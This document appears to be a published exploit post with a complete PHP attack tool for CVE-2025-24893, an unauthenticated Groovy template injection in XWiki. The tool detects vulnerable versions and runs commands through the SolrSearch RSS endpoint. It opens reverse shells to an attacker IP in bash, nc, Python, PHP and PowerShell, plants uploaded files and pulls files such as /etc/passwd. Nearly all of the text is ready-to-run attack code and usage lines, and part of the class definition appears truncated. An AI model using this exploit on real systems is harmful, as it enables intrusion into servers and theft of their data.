============================================================================================================================================= | # Title : XWiki 5.3-milestone-2 Remote Code Execution Exploit | | # Author : indoushka | | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.2 (64 bits) | | # Vendor : https://github.com/xwiki/ | ============================================================================================================================================= [+] References : https://packetstorm.news/files/id/209041/ & CVE-2025-24893 [+] Summary : a critical template injection vulnerability in XWiki Platform that allows unauthenticated remote code execution. The vulnerability affects XWiki versions 5.3-milestone-2 to 15.10.10 and 16.0.0-rc-1 to 16.4.0, potentially impacting thousands of enterprise wiki installations. [+] POC : # Check for vulnerability php exploit.php http://target.com --check # Execute command php exploit.php http://target.com --cmd "id" php exploit.php http://target.com --cmd "whoami" --os windows # Create reverse shell php exploit.php http://target.com --reverse 192.168.1.100:4444 php exploit.php http://target.com --reverse 192.168.1.100:4444 --shell python # Gather information php exploit.php http://target.com --info # Upload file php exploit.php http://target.com --upload shell.php:/tmp/shell.php # Download file php exploit.php http://target.com --download /etc/passwd:passwd.txt target = rtrim($target, '/'); $this->path = $path; } /** * Check if target is vulnerable */ public function check() { echo "[*] Checking target: {$this->target}\n"; $response = $this->sendRequest("/xwiki/bin/view/Main/"); if (!$response) { echo "[-] No response from target\n"; return false; } // Extract version from HTML preg_match('/]*id="xwikiplatformversion"[^>]*>(.*?)<\/div>/si', $response, $matches); if (empty($matches)) { echo "[-] Could not find version information\n"; return false; } preg_match('/XWiki.*?(\d+\.\d+\.\d+)/', $matches[1], $versionMatch); if (empty($versionMatch)) { echo "[-] Could not extract version number\n"; return false; } $version = $versionMatch[1]; echo "[+] Detected XWiki version: {$version}\n"; // Check if version is vulnerable $vulnerable = $this->isVersionVulnerable($version); if ($vulnerable) { echo "[+] Target appears to be VULNERABLE!\n"; return true; } else { echo "[-] Target appears to be SAFE\n"; return false; } } /** * Execute command on target */ public function executeCommand($command, $os = 'unix') { echo "[*] Building payload for {$os}...\n"; if ($os === 'unix' || $os === 'linux') { $cmdArray = "'sh', '-c', '{$command}'"; } else { // Windows $cmdArray = "'cmd.exe', '/b', '/q', '/c', '{$command}'"; } $payload = "{{async async=false}}{{groovy}}[{$cmdArray}].execute().text{{/groovy}}{{/async}}"; echo "[*] Sending payload...\n"; $url = "/xwiki/bin/get/Main/SolrSearch?media=rss&text=" . urlencode($payload); $response = $this->sendRequest($url); if ($response) { echo "[+] Command executed. Response:\n"; echo "----------------------------------------\n"; echo $response; echo "\n----------------------------------------\n"; return $response; } else { echo "[-] No response received\n"; return false; } } /** * Reverse shell for Unix/Linux */ public function reverseShell($ip, $port, $shellType = 'bash') { echo "[*] Setting up reverse shell to {$ip}:{$port}\n"; if ($shellType === 'bash') { $command = "bash -i >& /dev/tcp/{$ip}/{$port} 0>&1"; } elseif ($shellType === 'nc') { $command = "nc -e /bin/sh {$ip} {$port}"; } elseif ($shellType === 'python') { $command = "python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"{$ip}\",{$port}));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'"; } elseif ($shellType === 'php') { $command = "php -r '\$sock=fsockopen(\"{$ip}\",{$port});exec(\"/bin/sh -i <&3 >&3 2>&3\");'"; } else { $command = "bash -i >& /dev/tcp/{$ip}/{$port} 0>&1"; } // URL encode the command return $this->executeCommand($command, 'unix'); } /** * Reverse shell for Windows */ public function reverseShellWindows($ip, $port) { echo "[*] Setting up Windows reverse shell to {$ip}:{$port}\n"; // PowerShell reverse shell $command = "powershell -NoP -NonI -W Hidden -Exec Bypass -Command \"\$TCPClient = New-Object Net.Sockets.TCPClient('{$ip}', {$port});\$NetworkStream = \$TCPClient.GetStream();\$StreamWriter = New-Object IO.StreamWriter(\$NetworkStream);\$StreamWriter.WriteLine((Get-WmiObject Win32_ComputerSystem).Name + ':' + (Get-WmiObject Win32_OperatingSystem).Version);\$StreamWriter.Flush();while((\$BytesRead = \$NetworkStream.Read(\$Buffer, 0, \$Buffer.Length)) -gt 0){\$Command = ([Text.Encoding]::ASCII).GetString(\$Buffer, 0, \$BytesRead - 1);\$Output = try { Invoke-Expression \$Command 2>&1 | Out-String } catch { \$_ | Out-String };\$ReturnOutput = \$Output + 'PS ' + (Get-Location).Path + '> ';\$StreamWriter.Write(\$ReturnOutput);\$StreamWriter.Flush()};\$StreamWriter.Close()\""; return $this->executeCommand($command, 'windows'); } /** * Information gathering */ public function gatherInfo() { echo "[*] Gathering system information...\n"; $commands = [ 'id' => 'id', 'whoami' => 'whoami', 'uname' => 'uname -a', 'pwd' => 'pwd', 'ps' => 'ps aux | head -20', 'users' => 'cat /etc/passwd | head -20', 'network' => 'ifconfig || ip addr' ]; foreach ($commands as $name => $cmd) { echo "\n[*] Executing: {$name}\n"; $this->executeCommand($cmd, 'unix'); sleep(1); // Avoid rate limiting } } /** * File upload */ public function uploadFile($localFile, $remotePath) { if (!file_exists($localFile)) { echo "[-] Local file not found: {$localFile}\n"; return false; } $content = base64_encode(file_get_contents($localFile)); $command = "echo '{$content}' | base64 -d > {$remotePath}"; echo "[*] Uploading {$localFile} to {$remotePath}\n"; return $this->executeCommand($command, 'unix'); } /** * File download */ public function downloadFile($remoteFile, $localFile) { $command = "cat {$remoteFile} | base64"; $response = $this->executeCommand($command, 'unix'); if ($response && preg_match('/^[A-Za-z0-9+\/=]+$/m', trim($response))) { $decoded = base64_decode(trim($response)); file_put_contents($localFile, $decoded); echo "[+] File downloaded to: {$localFile}\n"; return true; } else { echo "[-] Failed to download file\n"; return false; } } /** * Private helper methods */ private function sendRequest($uri) { $url = $this->target . $uri; $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_TIMEOUT, $this->timeout); curl_setopt($ch, CURLOPT_USERAGENT, $this->userAgent); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); $response = curl_exec($ch); $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE); if (curl_errno($ch)) { echo "[-] cURL Error: " . curl_error($ch) . "\n"; curl_close($ch); return false; } curl_close($ch); if ($httpCode == 200) { return $response; } else { echo "[-] HTTP Error: {$httpCode}\n"; return false; } } private function isVersionVulnerable($version) { $versionParts = explode('.', $version); if (count($versionParts) < 3) { return false; } $major = (int)$versionParts[0]; $minor = (int)$versionParts[1]; $patch = (int)$versionParts[2]; // Check vulnerable ranges if ($major >= 5 && $major <= 15) { if ($major == 5 && $minor >= 3) { return true; } elseif ($major == 15 && $minor == 10 && $patch <= 10) { return true; } elseif ($major > 5 && $major < 15) { return true; } } elseif ($major == 16) { if ($minor == 0 && $patch == 0) { // 16.0.0-rc-1 is vulnerable return true; } elseif ($minor == 4 && $patch == 0) { return true; } elseif ($minor < 4) { return true; } } return false; } } /** * Usage examples */ function printHelp() { echo "Powered by indoushka XWiki CVE-2025-24893 Exploit Tool\n"; echo "Usage:\n"; echo " php exploit.php [options]\n\n"; echo "Options:\n"; echo " --check Check if target is vulnerable\n"; echo " --cmd Execute system command\n"; echo " --os Target OS (default: unix)\n"; echo " --reverse Create reverse shell\n"; echo " --shell Shell type (bash, nc, python, php)\n"; echo " --info Gather system information\n"; echo " --upload Upload file\n"; echo " --download Download file\n"; echo " --path XWiki installation path (default: /)\n"; echo " --help Show this help\n\n"; echo "Examples:\n"; echo " php exploit.php http://target.com --check\n"; echo " php exploit.php http://target.com --cmd 'id'\n"; echo " php exploit.php http://target.com --reverse 192.168.1.100:4444\n"; echo " php exploit.php http://target.com --upload shell.php:/tmp/shell.php\n"; } /** * Main execution */ if (PHP_SAPI !== 'cli') { die("This script must be run from command line\n"); } if ($argc < 2) { printHelp(); exit(1); } $target = $argv[1]; $options = [ 'path' => '/', 'os' => 'unix' ]; // Parse command line arguments for ($i = 2; $i < $argc; $i++) { switch ($argv[$i]) { case '--check': $options['check'] = true; break; case '--cmd': $options['cmd'] = $argv[++$i]; break; case '--os': $options['os'] = $argv[++$i]; break; case '--reverse': $options['reverse'] = $argv[++$i]; break; case '--shell': $options['shell'] = $argv[++$i]; break; case '--info': $options['info'] = true; break; case '--upload': $options['upload'] = $argv[++$i]; break; case '--download': $options['download'] = $argv[++$i]; break; case '--path': $options['path'] = $argv[++$i]; break; case '--help': printHelp(); exit(0); default: echo "Unknown option: {$argv[$i]}\n"; printHelp(); exit(1); } } // Create exploit instance $exploit = new XWikiExploit($target, $options['path']); // Execute requested action if (isset($options['check'])) { $exploit->check(); } elseif (isset($options['cmd'])) { $exploit->executeCommand($options['cmd'], $options['os']); } elseif (isset($options['reverse'])) { list($ip, $port) = explode(':', $options['reverse']); if ($options['os'] === 'windows') { $exploit->reverseShellWindows($ip, $port); } else { $shellType = $options['shell'] ?? 'bash'; $exploit->reverseShell($ip, $port, $shellType); } } elseif (isset($options['info'])) { $exploit->gatherInfo(); } elseif (isset($options['upload'])) { list($local, $remote) = explode(':', $options['upload'], 2); $exploit->uploadFile($local, $remote); } elseif (isset($options['download'])) { list($remote, $local) = explode(':', $options['download'], 2); $exploit->downloadFile($remote, $local); } else { echo "No action specified. Use --help for usage information.\n"; } echo "\n[*] Exploit completed\n"; ?> Greetings to :===================================================================================== jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)| ===================================================================================================